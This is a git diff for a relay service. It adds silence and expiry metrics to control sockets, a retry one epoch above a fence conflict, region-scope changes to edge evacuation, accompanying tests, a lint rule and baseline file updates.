diff --git a/cloud/apps/relay-edge/src/host-relay-base.ts b/cloud/apps/relay-edge/src/host-relay-base.ts
index f3f34839b10..d550b6ca840 100644
--- a/cloud/apps/relay-edge/src/host-relay-base.ts
+++ b/cloud/apps/relay-edge/src/host-relay-base.ts
@@ -45,6 +45,9 @@ export type ControlAttachment = {
   clientKeepalive?: boolean
   // A keepalive control found silent: one relay ping sent at this time (see probeSilentControls).
   probeAt?: number
+  // Upgrade and activation times, for metrics (absent on attachments from before these fields).
+  openedAt?: number
+  activeAt?: number
 }
 export type Attachment = ControlAttachment
 export type Conn = {
diff --git a/cloud/apps/relay-edge/src/host-relay-control.ts b/cloud/apps/relay-edge/src/host-relay-control.ts
index 16697097b1c..2cc2756c22c 100644
--- a/cloud/apps/relay-edge/src/host-relay-control.ts
+++ b/cloud/apps/relay-edge/src/host-relay-control.ts
@@ -28,8 +28,16 @@ export abstract class HostRelayControl extends HostRelayHandshake {
   // Where the host is going away anyway (export, erase, drain, a new control of the same host): a
   // silent control is closed now. Its orphan time is the latest the ping alarm would have found it,
   // so rebind and the orphan grace are never shorter than before.
+  // A control closed for silence: value = seconds silent, label = where it was found, reason =
+  // keepalive | legacy; double2 = seconds since it became active (-1 if unknown).
+  protected deadControlMetric(a: ControlAttachment, now: number, seen: number, found: 'alarm' | 'on_demand' | 'expired'): void {
+    const ageS = a.activeAt === undefined ? -1 : Math.round((now - a.activeAt) / 1000)
+    metric(this.env, 'silence_close', Math.round((now - seen) / 1000), found, [ageS], this.keepalive(a) ? 'keepalive' : 'legacy', a.place)
+  }
+
   protected async closeSilentControls(now = Date.now()): Promise<void> {
-    for (const { ws, seen } of this.silentControls(now)) {
+    for (const { ws, a, seen } of this.silentControls(now)) {
+      this.deadControlMetric(a, now, seen, 'on_demand')
       this.close(ws, RELAY_CLOSE_CODE.PEER_DROPPED, 'control silence timeout')
       await this.onSocketGone(ws, RELAY_CLOSE_CODE.PEER_DROPPED, '', Math.min(now, seen + this.config.silenceTimeoutMs + this.config.pingIntervalMs))
     }
diff --git a/cloud/apps/relay-edge/src/host-relay-handshake.ts b/cloud/apps/relay-edge/src/host-relay-handshake.ts
index bc153be8a0c..1d9995d44bf 100644
--- a/cloud/apps/relay-edge/src/host-relay-handshake.ts
+++ b/cloud/apps/relay-edge/src/host-relay-handshake.ts
@@ -157,6 +157,7 @@ export abstract class HostRelayHandshake extends HostRelayBase {
     })
     const leaseExpiresAt = now + LEASE_BASE_MS + Math.round((Math.random() * 2 - 1) * LEASE_JITTER_MS)
     a.phase = 'active'
+    a.activeAt = now
     a.generation = generation
     a.lastPongAt = now
     a.lastPingAt = now
@@ -191,7 +192,7 @@ export abstract class HostRelayHandshake extends HostRelayBase {
     })
     // After the ack, which strict shipped parsers must see unchanged; only hosts that asked get it.
     if (a.clientKeepalive) { this.send(ws, { type: 'keepalive-offer', v: 1, intervalMs: this.config.pingIntervalMs }) }
-    metric(this.env, 'control_active', 1, rebind ? 'rebind' : 'new', [], '', a.place)
+    metric(this.env, 'control_active', 1, rebind ? 'rebind' : 'new', [a.openedAt === undefined ? -1 : now - a.openedAt], a.clientKeepalive ? 'keepalive' : 'legacy', a.place)
     await this.reschedule()
   }
 }
diff --git a/cloud/apps/relay-edge/src/host-relay.ts b/cloud/apps/relay-edge/src/host-relay.ts
index 958232f8ff4..bc6095bc33a 100644
--- a/cloud/apps/relay-edge/src/host-relay.ts
+++ b/cloud/apps/relay-edge/src/host-relay.ts
@@ -145,7 +145,8 @@ export class HostRelay extends HostRelayPhones {
       claims,
       origin,
       caps: [...parseRelayHostCapabilities(request.headers.get('x-orca-host-capabilities') ?? '')],
-      deadline: Date.now() + RELAY_PROTOCOL_LIMITS.firstFrameDeadlineMs
+      deadline: Date.now() + RELAY_PROTOCOL_LIMITS.firstFrameDeadlineMs,
+      openedAt: Date.now()
     })
     await this.reschedule()
     return new Response(null, { status: 101, webSocket: client })
@@ -180,14 +181,25 @@ export class HostRelay extends HostRelayPhones {
           continue
         }
         if (now - seen > this.config.silenceTimeoutMs && (!this.keepalive(a) || now - a.probeAt! >= KEEPALIVE_PROBE_MS - 50)) {
+          this.deadControlMetric(a, now, seen, 'alarm')
           this.close(ws, RELAY_CLOSE_CODE.PEER_DROPPED, 'control silence timeout')
           await this.onSocketGone(ws, RELAY_CLOSE_CODE.PEER_DROPPED, '')
           continue
         }
         // Same order as the cells' heartbeat: expired auth past its grace, then the 6 h lease.
         if (now > a.claims.exp + CONTROL_CONTINUITY_LIMITS.expiredAuthExistingSpliceGraceMs) {
+          // A host already silent past the limit is gone (asleep, offline): it closes as one, so
+          // drop counts stay comparable with the cells, whose pings would have closed it earlier.
+          // Its probe is cut short: the expired authorization ends the socket either way.
+          if (now - seen > this.config.silenceTimeoutMs) {
+            this.deadControlMetric(a, now, seen, 'expired')
+            this.close(ws, RELAY_CLOSE_CODE.PEER_DROPPED, 'control silence timeout')
+            await this.onSocketGone(ws, RELAY_CLOSE_CODE.PEER_DROPPED, '', Math.min(now, seen + this.config.silenceTimeoutMs + this.config.pingIntervalMs))
+            continue
+          }
           const sinceRefreshS = a.lastRefreshAt === undefined ? -1 : Math.round((now - a.lastRefreshAt) / 1000)
-          metric(this.env, 'auth_expired_close', sinceRefreshS, a.lastRefreshAt === undefined ? 'never' : 'refreshed', [], '', a.place)
+          const seenAgoS = Math.round((now - seen) / 1000)
+          metric(this.env, 'auth_expired_close', sinceRefreshS, a.lastRefreshAt === undefined ? 'never' : 'refreshed', [seenAgoS, a.activeAt === undefined ? -1 : Math.round((now - a.activeAt) / 1000)], this.keepalive(a) ? 'keepalive' : 'legacy', a.place)
           this.close(ws, RELAY_CLOSE_CODE.BAD_OUTER_CREDENTIAL, 'relay authorization expired')
           await this.onSocketGone(ws, RELAY_CLOSE_CODE.BAD_OUTER_CREDENTIAL, '')
           continue
diff --git a/cloud/apps/relay-edge/src/metrics.ts b/cloud/apps/relay-edge/src/metrics.ts
index 7d87b759e4d..ea76d7f7f2c 100644
--- a/cloud/apps/relay-edge/src/metrics.ts
+++ b/cloud/apps/relay-edge/src/metrics.ts
@@ -2,6 +2,8 @@
 import type { Env } from './env'
 
 export type MetricEvent =
+  // label 'new' | 'rebind'; reason 'keepalive' | 'legacy' (took the keepalive offer or not);
+  // double2 = ms from the upgrade to activation (the desktop gives up a connect after 15 s).
   | 'control_active'
   | 'control_close'
   | 'phone_open'
@@ -26,7 +28,11 @@ export type MetricEvent =
   | 'control_upgrade'
   // Control closed 4401 for expired authorization: value = seconds since its last extending
   // refresh, label 'refreshed'; -1 and label 'never' when this socket never extended its token.
+  // double2 = seconds since the host's last inbound frame or keepalive, double3 = seconds since the
+  // control became active (-1 if unknown); reason 'keepalive' | 'legacy'.
   | 'auth_expired_close'
+  // Control closed for silence (deadControlMetric, host-relay-control.ts).
+  | 'silence_close'
   // Pre-auth socket refused by the per-source limiter: label 'phone' | 'data' | 'health'. Unpushed-host phones: 'not_on_edge'.
   | 'preauth_limited'
   | 'not_on_edge'
diff --git a/cloud/apps/relay-edge/test/harness-mvp-object.ts b/cloud/apps/relay-edge/test/harness-mvp-object.ts
index 89ec43b1e7c..69530b07307 100644
--- a/cloud/apps/relay-edge/test/harness-mvp-object.ts
+++ b/cloud/apps/relay-edge/test/harness-mvp-object.ts
@@ -47,14 +47,14 @@ export function newHost(): Host {
   }
 }
 
-export async function mint(key: KeyLike, relayHostId: string, issuer = ISSUER): Promise<string> {
+export async function mint(key: KeyLike, relayHostId: string, issuer = ISSUER, expiresIn = '5m'): Promise<string> {
   return new SignJWT({ purpose: 'host-control', prof: `prof-${USER}`, relayHostId })
     .setProtectedHeader({ alg: 'ES256', kid: REMOTE ? 'spike' : 'mvp' })
     .setSubject(USER)
     .setIssuer(issuer)
     .setAudience('orca-relay')
     .setIssuedAt()
-    .setExpirationTime('5m')
+    .setExpirationTime(expiresIn)
     .sign(key)
 }
 
diff --git a/cloud/apps/relay-edge/test/mvp-object-hardening.ts b/cloud/apps/relay-edge/test/mvp-object-hardening.ts
index 5bd6553acab..1e86d0058ee 100644
--- a/cloud/apps/relay-edge/test/mvp-object-hardening.ts
+++ b/cloud/apps/relay-edge/test/mvp-object-hardening.ts
@@ -128,6 +128,32 @@ export async function keepaliveProbeCheck(key: KeyLike): Promise<void> {
   }
 }
 
+// K4: a keepalive host gone silent when its authorization expires closes as a dropped host (4408),
+// not 4401, so edge drop counts stay comparable with the cells (their pings would have closed it).
+export async function keepaliveExpiredSilentCheck(key: KeyLike): Promise<void> {
+  const host = newHost()
+  await assign(host.relayHostId, 'edge', EPOCH, [])
+  const started = Date.now()
+  // Alive for 50 s, then silent: the silence probe (sent ~9 s later) is still pending when the
+  // 3 s token passes its 60 s grace at ~63 s, so the expiry check is what closes it.
+  const c = control(host, await mint(key, host.relayHostId, undefined, '3s'), EPOCH, {
+    caps: `${SHIPPED_CAPS},client-keepalive-v1`,
+    drop: () => Date.now() - started > 50_000
+  })
+  await c.client.connect()
+  try {
+    const closed = await waitFor(() => c.events.closes.length > 0, 3_000 + 60_000 + 15_000)
+    const after = Date.now() - started
+    record(
+      'K4 silent keepalive host at token expiry: closed 4408 (not 4401)',
+      closed && c.events.closes.includes(4408) && !c.events.closes.includes(4401) && after >= 59_000,
+      `closedAfter=${after}ms pings=${c.events.pings} closes=${c.events.closes}`
+    )
+  } finally {
+    c.client.closeNow()
+  }
+}
+
 // F5: POST /__admin/drain sends the host's controls back to the director (drain frame, 4503).
 export async function drainCheck(key: KeyLike): Promise<void> {
   const host = newHost()
diff --git a/cloud/apps/relay-edge/test/mvp-object.ts b/cloud/apps/relay-edge/test/mvp-object.ts
index 5558bb2d179..f9a436c1d37 100644
--- a/cloud/apps/relay-edge/test/mvp-object.ts
+++ b/cloud/apps/relay-edge/test/mvp-object.ts
@@ -41,7 +41,7 @@ import {
   waitFor,
   type Host
 } from './harness-mvp-object'
-import { drainCheck, heartbeatCheck, keepaliveCheck, keepaliveProbeCheck, objectHealthCheck } from './mvp-object-hardening'
+import { drainCheck, heartbeatCheck, keepaliveCheck, keepaliveExpiredSilentCheck, keepaliveProbeCheck, objectHealthCheck } from './mvp-object-hardening'
 import { replayCheck, rotationCheck } from './mvp-object-replay'
 
 async function mainRemote(): Promise<void> {
@@ -107,7 +107,7 @@ async function main(): Promise<void> {
       await sleep(500)
     }
     await run(host, privateKey, () => jwksHits)
-    await Promise.all([heartbeatCheck(privateKey), keepaliveCheck(privateKey), keepaliveProbeCheck(privateKey), drainCheck(privateKey), replayCheck(), rotationCheck()])
+    await Promise.all([heartbeatCheck(privateKey), keepaliveCheck(privateKey), keepaliveProbeCheck(privateKey), keepaliveExpiredSilentCheck(privateKey), drainCheck(privateKey), replayCheck(), rotationCheck()])
     await sweepCheck()
     await preAuthCheck(stateDir)
     await objectHealthCheck(stateDir)
diff --git a/cloud/apps/relay/src/edge-relay-cohort.ts b/cloud/apps/relay/src/edge-relay-cohort.ts
index 5227e8f9ff4..d6a8818c55d 100644
--- a/cloud/apps/relay/src/edge-relay-cohort.ts
+++ b/cloud/apps/relay/src/edge-relay-cohort.ts
@@ -50,18 +50,18 @@ export function edgeCohortBucketPermille(relayHostId: string): number {
 }
 
 // Mode off or down empties the cohort. Otherwise deny wins, then host allow, then region scope;
-// within the region, account allow or the rollout share.
+// within the region, account allow or the rollout share. Region 'any' skips the region scope.
 export function inEdgeCohort(
   config: EdgeRelayConfig,
   relayHostId: string,
-  region: RelayRegion | undefined,
+  region: RelayRegion | undefined | 'any',
   userId?: string
 ): boolean {
   const flags = config.control?.() ?? EDGE_CONTROL_DEFAULTS
   if (flags.mode !== 'on') { return false }
   if (config.denyHosts.has(relayHostId)) { return false }
   if (config.allowHosts.has(relayHostId)) { return true }
-  if (!config.regions.has(region ?? RELAY_DEFAULT_REGION)) { return false }
+  if (region !== 'any' && !config.regions.has(region ?? RELAY_DEFAULT_REGION)) { return false }
   if (userId !== undefined && config.allowUsers?.has(userId)) { return true }
   return edgeCohortBucketPermille(relayHostId) < edgeRolloutPermille(config.rolloutPercent, flags)
 }
diff --git a/cloud/apps/relay/src/edge-relay-evacuation.test.ts b/cloud/apps/relay/src/edge-relay-evacuation.test.ts
index 9b671710f28..855eb2ea55f 100644
--- a/cloud/apps/relay/src/edge-relay-evacuation.test.ts
+++ b/cloud/apps/relay/src/edge-relay-evacuation.test.ts
@@ -108,6 +108,22 @@ describe('edge evacuation under runtime control', () => {
     h.evacuation.stop()
   })
 
+  it('leaves region scope to the assign path: a stored preference outside it drains nobody', async () => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {})
+    const flags: EdgeControlFlags = { mode: 'on', rolloutPermille: 1000 }
+    const h = await harness({ control: () => flags })
+    // On the edge by its ask (no region, or us-central1); its stored preference says otherwise.
+    await h.insert(hostId(1))
+    await h.prefer(hostId(1), 'asia-east2')
+    await h.insert(hostId(2))
+    expect(await h.evacuation.sweep()).toBe(0)
+    expect(h.admin.drained).toEqual([])
+    // Leaving the cohort still drains, whatever the stored region.
+    flags.rolloutPermille = 0
+    expect(await h.evacuation.sweep()).toBe(2)
+    expect(h.admin.drained.sort()).toEqual([hostId(1), hostId(2)])
+  })
+
   it(`sends at most ${EDGE_EVACUATION_CONCURRENCY} drains at once`, async () => {
     vi.spyOn(console, 'warn').mockImplementation(() => {})
     const h = await harness()
diff --git a/cloud/apps/relay/src/edge-relay-evacuation.ts b/cloud/apps/relay/src/edge-relay-evacuation.ts
index ae1c31f5056..db103f67c55 100644
--- a/cloud/apps/relay/src/edge-relay-evacuation.ts
+++ b/cloud/apps/relay/src/edge-relay-evacuation.ts
@@ -3,7 +3,6 @@
 // rows whose host is no longer in the cohort and asks the edge to drain them; the desktop then
 // re-asks /v1/assign, and that ask exports its data and places it on a cell (app.ts). Each pass also
 // retries fences that did not land after a host left (edge-relay-fence.ts).
-import { RELAY_DEFAULT_REGION, RelayRegionSchema } from '@orca-cloud/relay-contract/relay-regions'
 import type { RelayDatabase } from './database/database.js'
 import { EdgeAdminUnavailableError, type EdgeAdmin } from './edge-admin-client.js'
 import { inEdgeCohort, text, type EdgeRelayConfig, type Identity } from './edge-relay-cohort.js'
@@ -116,9 +115,11 @@ export class EdgeEvacuation {
       for (const row of rows) {
         const identity = { userId: text(row, 'user_id'), relayHostId: text(row, 'relay_host_id') }
         pass.cursor = identity
-        const stored = RelayRegionSchema.safeParse(row.preferred_region)
-        const region = stored.success ? stored.data : RELAY_DEFAULT_REGION
-        if (inEdgeCohort(this.config, identity.relayHostId, region, identity.userId)) { continue }
+        // Region scope is the assign path's call alone: it decides with the region the desktop
+        // asks for, which the stored preference can miss or lag. Judging it here too drained
+        // hosts that the next ask put straight back (a drain every few minutes). A host that asks
+        // for a region outside the scope leaves on that ask.
+        if (inEdgeCohort(this.config, identity.relayHostId, 'any', identity.userId)) { continue }
         if (this.drainedAt.has(drainKey(identity))) { continue }
         leaving.push(identity)
         // Resume after the last host taken, so the rest of the page is read next tick.
@@ -143,10 +144,8 @@ export class EdgeEvacuation {
   private async readPage(pass: Pass) {
     const { cursor, origin, wrapped } = pass
     return await this.database.query(
-      `SELECT a.user_id, a.relay_host_id, p.preferred_region
+      `SELECT a.user_id, a.relay_host_id
        FROM relay_assignments a
-       LEFT JOIN relay_assignment_region_preferences p
-         ON p.user_id = a.user_id AND p.relay_host_id = a.relay_host_id
        WHERE a.cell_id = ? AND (a.user_id > ? OR (a.user_id = ? AND a.relay_host_id > ?))
          ${wrapped ? 'AND (a.user_id < ? OR (a.user_id = ? AND a.relay_host_id <= ?))' : ''}
        ORDER BY a.user_id, a.relay_host_id
diff --git a/cloud/apps/relay/src/edge-relay-fence.test.ts b/cloud/apps/relay/src/edge-relay-fence.test.ts
index abdef6a01ba..bfee89d38c3 100644
--- a/cloud/apps/relay/src/edge-relay-fence.test.ts
+++ b/cloud/apps/relay/src/edge-relay-fence.test.ts
@@ -116,6 +116,43 @@ describe('relay edge fence after a host leaves', () => {
   })
 })
 
+describe('relay edge fence over a same-epoch conflict', () => {
+  it('fences once more one epoch above a conflict at its epoch, and never bumps over a stale answer', async () => {
+    vi.spyOn(console, 'error').mockImplementation(() => {})
+    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
+    const h = await harness()
+    h.edge.answers = ['conflict', 'applied']
+    expect(await h.assignments.fenceAway({ userId: USER, relayHostId: HOST }, 'us-c1', 9)).toBe(true)
+    expect(h.edge.calls.map((call) => call.body.assignmentEpoch)).toEqual([9, 10])
+    expect(h.edge.calls.every((call) => call.body.cellId === 'us-c1')).toBe(true)
+    expect(logged(warn, 'orca_relay_edge_fence_above_conflict')).toEqual([
+      { event: 'orca_relay_edge_fence_above_conflict', outcome: 'applied', assignmentEpoch: 10 }
+    ])
+    expect(await h.pending()).toEqual([])
+    // Stale: the edge holds a newer epoch (the host may be back there); no bump, recorded for retry.
+    h.edge.calls = []
+    h.edge.answers = ['stale']
+    expect(await h.assignments.fenceAway({ userId: USER, relayHostId: HOST }, 'us-c1', 11)).toBe(false)
+    expect(h.edge.calls.map((call) => call.body.assignmentEpoch)).toEqual([11])
+  })
+
+  it('a pending fence retried into a same-epoch conflict lands one epoch above the row', async () => {
+    vi.spyOn(console, 'error').mockImplementation(() => {})
+    vi.spyOn(console, 'warn').mockImplementation(() => {})
+    const h = await harness()
+    await h.placeRow('us-c1', 7)
+    h.edge.answers = ['down', 'down', 'down', 'down', 'down', 'down', 'down', 'down', 'down', 'down']
+    expect(await h.assignments.fenceAway({ userId: USER, relayHostId: HOST }, 'us-c1', 7)).toBe(false)
+    expect(await h.pending()).toHaveLength(1)
+    h.edge.calls = []
+    h.edge.answers = ['conflict', 'applied']
+    h.clock.now += 60_000
+    await h.retry()
+    expect(h.edge.calls.map((call) => call.body.assignmentEpoch)).toEqual([7, 8])
+    expect(await h.pending()).toEqual([])
+  })
+})
+
 describe('relay edge pending fence retries', () => {
   it('re-fences to the current row, not the recorded one, and clears the record once it lands', async () => {
     const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
diff --git a/cloud/apps/relay/src/edge-relay-fence.ts b/cloud/apps/relay/src/edge-relay-fence.ts
index 3d01795ddaa..e18056b5eeb 100644
--- a/cloud/apps/relay/src/edge-relay-fence.ts
+++ b/cloud/apps/relay/src/edge-relay-fence.ts
@@ -41,6 +41,27 @@ export async function recordPendingFence(
   )
 }
 
+// One fence call. `conflict` means the edge holds this very epoch for another placement (a move onto
+// the edge whose push landed though the director counted it as failed, then a placement elsewhere
+// minted the same epoch). No later move can produce that (a later move has a higher epoch, which
+// answers `stale`), so the fence goes once more one epoch above: it lands, and a later move onto
+// the edge re-mints above it as for any edge epoch (moveToEdge).
+async function assignFence(
+  admin: EdgeAdmin,
+  fence: Identity & { cellId: string; assignmentEpoch: number }
+): Promise<{ outcome: string; assignmentEpoch: number }> {
+  const first = await admin.assign(fence)
+  if (first.outcome !== 'conflict' || first.assignmentEpoch !== fence.assignmentEpoch) {
+    return { outcome: first.outcome, assignmentEpoch: fence.assignmentEpoch }
+  }
+  const above = fence.assignmentEpoch + 1
+  const second = await admin.assign({ ...fence, assignmentEpoch: above })
+  console.warn(
+    JSON.stringify({ event: 'orca_relay_edge_fence_above_conflict', outcome: second.outcome, assignmentEpoch: above })
+  )
+  return { outcome: second.outcome, assignmentEpoch: above }
+}
+
 // The fence right after a host left (EdgeAssignments.fenceAway). Anything but applied/unchanged
 // fails: unavailable, `conflict`, or `stale` (the edge holds a newer epoch, so it still claims the
 // host); the failure is logged and recorded for retry. Returns whether the fence landed.
@@ -55,7 +76,7 @@ export async function fenceEdge(
   let outcome = 'unavailable'
   for (let attempt = 0; attempt < attempts; attempt += 1) {
     try {
-      outcome = (await admin.assign(fence)).outcome
+      outcome = (await assignFence(admin, fence)).outcome
     } catch (error) {
       if (!(error instanceof EdgeAdminUnavailableError)) { throw error }
       outcome = error.message
@@ -138,7 +159,7 @@ async function retryOne(
   const assignmentEpoch = integer(row, 'assignment_epoch')
   let outcome: string
   try {
-    outcome = (await admin.assign({ ...identity, cellId, assignmentEpoch })).outcome
+    outcome = (await assignFence(admin, { ...identity, cellId, assignmentEpoch })).outcome
   } catch (error) {
     if (!(error instanceof EdgeAdminUnavailableError)) { throw error }
     outcome = error.message
diff --git a/config/ast-grep/rule-tests/profile-full-save-callers-test.yml b/config/ast-grep/rule-tests/profile-full-save-callers-test.yml
new file mode 100644
index 00000000000..8fcafde2d70
--- /dev/null
+++ b/config/ast-grep/rule-tests/profile-full-save-callers-test.yml
@@ -0,0 +1,5 @@
+id: profile-full-save-callers
+valid:
+  - "scheduleSave(scheduling, ['repos'])"
+invalid:
+  - 'scheduleFullProfileSave(scheduling)'
diff --git a/config/ast-grep/rules/profile-full-save-callers.yml b/config/ast-grep/rules/profile-full-save-callers.yml
new file mode 100644
index 00000000000..c8650a8b1f3
--- /dev/null
+++ b/config/ast-grep/rules/profile-full-save-callers.yml
@@ -0,0 +1,14 @@
+# Mutations save the domains they change; only startup load and maintenance resume rewrite the whole profile.
+id: profile-full-save-callers
+language: typescript
+severity: error
+message: Name the profile domains this mutation changed with scheduleSave(owner, [...domains]). scheduleFullProfileSave is for startup load and maintenance resume only.
+files:
+  - src/**
+ignores:
+  - '**/*.test.*'
+  - src/main/persistence/loading-store/write-scheduling.ts
+  - src/main/persistence/loading-store/store.ts
+  - src/main/persistence/loading-store/profile-state-maintenance.ts
+rule:
+  pattern: scheduleFullProfileSave($$$)
diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt
index 60f4477543d..508cf4fc6a1 100644
--- a/config/flaky-test-pattern-baseline.txt
+++ b/config/flaky-test-pattern-baseline.txt
@@ -29,7 +29,6 @@
 1 test-no-in-test-import-actual:src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-hook-idle-arbitration.test.ts
 3 test-no-in-test-import-actual:src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-host-chain.test.ts
 1 test-no-in-test-import-actual:src/renderer/src/hooks/useIpcEvents-agent-status-pane-teardown.test.ts
-1 test-no-in-test-import-actual:src/renderer/src/hooks/useIpcEvents-agent-status-snapshot-hydration.test.ts
 1 test-no-polling-loop:src/main/browser/cookies/browser-cookie-import-concurrency.test.ts
 1 test-no-polling-loop:src/main/claude/claude-stop-ack-race.test.ts
 1 test-no-polling-loop:src/main/claude/claude-stream-json-connection.test.ts
@@ -264,8 +263,7 @@
 1 test-no-real-time-wait:src/renderer/src/components/terminal-pane/layout/split/resolve-split-cwd.test.ts
 2 test-no-real-time-wait:src/renderer/src/components/terminal-pane/pty-connection/emulation/fish-color-scheme-child-stdin.node-pty.test.ts
 1 test-no-real-time-wait:src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-connect-failure-recovery.test.ts
-2 test-no-real-time-wait:src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-exit-record.test.ts
-3 test-no-real-time-wait:src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-subscribe-ack-input.test.ts
+1 test-no-real-time-wait:src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-subscribe-ack-input.test.ts
 1 test-no-real-time-wait:src/renderer/src/components/terminal-pane/viewport/terminal-fit-restore.test.ts
 1 test-no-real-time-wait:src/renderer/src/hooks/runtime-project-refresh-scheduler.test.ts
 1 test-no-real-time-wait:src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.test.ts
@@ -626,12 +624,7 @@
 2 test-no-wall-clock:src/renderer/src/components/artifacts/ArtifactCollection.test.tsx
 1 test-no-wall-clock:src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.adoption-chrome.test.tsx
 2 test-no-wall-clock:src/renderer/src/components/dashboard/useLiveDashboardSnapshot.test.ts
-1 test-no-wall-clock:src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.opening-send.test.tsx
-1 test-no-wall-clock:src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.queued-turn-order.test.tsx
-2 test-no-wall-clock:src/renderer/src/components/native-chat/conversation/turns/NativeChatMessageList.turn-indicator.test.tsx
 3 test-no-wall-clock:src/renderer/src/components/native-chat/conversation/turns/NativeChatResolvedView.turn-status.test.tsx
-1 test-no-wall-clock:src/renderer/src/components/native-chat/session/structured/delivery/NativeChatMessageList.unsent-message.test.tsx
-3 test-no-wall-clock:src/renderer/src/components/native-chat/surfaces/integration/NativeChatMessageList.test.tsx
 2 test-no-wall-clock:src/renderer/src/components/native-chat/tools/tasks/NativeChatStructuredSessionStatus.test.tsx
 1 test-no-wall-clock:src/renderer/src/components/sidebar/workspace-card/review/use-workspace-reference-details.test.tsx
 1 test-no-wall-clock:src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.lineage-agent-expansion-coupling.test.tsx
@@ -641,18 +634,12 @@
 1 test-no-wall-clock:src/renderer/src/components/terminal/initial-terminal-structured-launch.test.tsx
 2 test-no-wall-clock:src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-removal.agent-stop.test.tsx
 1 test-no-wall-clock:src/renderer/src/components/worktree-jump/WorktreeJumpPalette.recent-tabs.behavior.test.tsx
-4 test-no-wall-clock:src/renderer/src/components/worktree-jump/WorktreeJumpPalette.recent-tabs.test.tsx
 2 test-no-wall-clock:src/renderer/src/hooks/ipc-events/agent-status-terminal-title-tab-write.test.ts
-1 test-no-wall-clock:src/renderer/src/lib/paired-runtime-closed-tab-resume.test.ts
-2 test-no-wall-clock:src/renderer/src/lib/use-tab-agent-observed-signal-dispatch.test.tsx
-2 test-no-wall-clock:src/renderer/src/lib/wake-sleeping-agents-live-unmounted-pane.test.ts
+2 test-no-wall-clock:src/renderer/src/lib/agent-session/tab-identity/use-tab-agent-observed-signal-dispatch.test.tsx
 1 test-no-wall-clock:src/renderer/src/lib/workspace/ownership/workspace-terminal-host-authority.test.ts
 1 test-no-wall-clock:src/renderer/src/lib/workspace/activation/worktree-activation-emptied-workspace-reseed.test.ts
 2 test-no-wall-clock:src/renderer/src/store/github/pull-requests/github-pr-branch-linked-pr-divergence.test.ts
-6 test-no-wall-clock:src/renderer/src/store/slices/jira/jira.test.ts
 5 test-no-wall-clock:src/renderer/src/store/slices/worktrees/metadata/worktree-meta-hosted-review.test.ts
-1 test-no-wall-clock:src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-origins.test.ts
-1 test-no-wall-clock:src/renderer/src/store/terminals/store-sleep-exact-runtime-stop.test.ts
 1 test-no-wall-clock:src/shared/__tests__/process-host/windows-cmd-shim-resolution.test.ts
 7 test-no-wall-clock:src/shared/__tests__/process-host/windows-tree-kill-late-taskkill.win32.test.ts
 1 test-no-wall-clock:src/shared/agent-hook-listener/transport/agent-hook-spool-drain.test.ts
diff --git a/config/focus-setting-read-baseline.txt b/config/focus-setting-read-baseline.txt
index f907d5d4bef..7fc0cfa7341 100644
--- a/config/focus-setting-read-baseline.txt
+++ b/config/focus-setting-read-baseline.txt
@@ -220,20 +220,20 @@
 1 src/renderer/src/lib/browser/navigation/http-link-localhost-route.ts # extracted from http-link-routing.ts
 1 src/renderer/src/lib/browser/navigation/http-link-routing.ts
 2 src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts
-1 src/renderer/src/lib/client-creation-action-error.ts
-2 src/renderer/src/lib/client-creation-action-policy.ts
+1 src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-error.ts
+2 src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-policy.ts
 1 src/renderer/src/runtime/hosts/selection/default-creation-host.ts # the sanctioned reader of the default host
-1 src/renderer/src/lib/launch-ai-vault-session.ts
-1 src/renderer/src/lib/local-preflight-context.ts
+1 src/renderer/src/lib/agent-session/resume/history/launch-ai-vault-session.ts
+1 src/renderer/src/runtime/hosts/preflight/local-preflight-context.ts
 2 src/renderer/src/runtime/hosts/observations/provider-runtime-context.ts
 2 src/renderer/src/lib/workspace/ownership/repo-runtime-owner.ts
 1 src/renderer/src/lib/workspace/ownership/runtime-session-mirror-owners.ts
-1 src/renderer/src/lib/runtime-session-mirror-targets.ts
+1 src/renderer/src/runtime/web-session-tabs-sync/subscriptions/runtime-session-mirror-targets.ts
 1 src/renderer/src/lib/workspace/ownership/single-runtime-legacy-owner.ts
 1 src/renderer/src/lib/skills/runtime/skill-runtime-command.ts
 1 src/renderer/src/lib/workspace/ownership/terminal-close-route.ts
 4 src/renderer/src/lib/workspace/ownership/terminal-worktree-route.ts # resolveTerminalPtyOwner: teardown, close and PTY identity read spawn's attribution (round 3 F8), which retired the deprecated resolver's readers
-3 src/renderer/src/lib/unread-badge-count-selector.ts
+3 src/renderer/src/attention/unread/unread-badge-count-selector.ts
 1 src/renderer/src/runtime/hosted-terminals/restoration/web-runtime-worktree-terminal-after-wake.ts
 1 src/renderer/src/lib/work-items/linear/linear-issue-url-lookup.ts
 1 src/renderer/src/lib/work-items/linear/linear-issue-write.ts
diff --git a/config/main-layout-writer-baseline.txt b/config/main-layout-writer-baseline.txt
index 38d52fa4386..54fb801ea75 100644
--- a/config/main-layout-writer-baseline.txt
+++ b/config/main-layout-writer-baseline.txt
@@ -27,7 +27,7 @@
 10 src/main/persistence/loading-store/repo-lifecycle-operations.ts
 10 src/main/persistence/loading-store/session-host-partitions.ts
 9 src/main/persistence/loading-store/session-snapshot-operations.ts
-3 src/main/persistence/loading-store/state-serialization-secret-handling.ts
+2 src/main/persistence/loading-store/state-serialization-secret-handling.ts
 4 src/main/persistence/loading-store/workspace-session-snapshot-publication.ts
 4 src/main/persistence/loading-store/workspace-session-terminal-binding-replay.ts
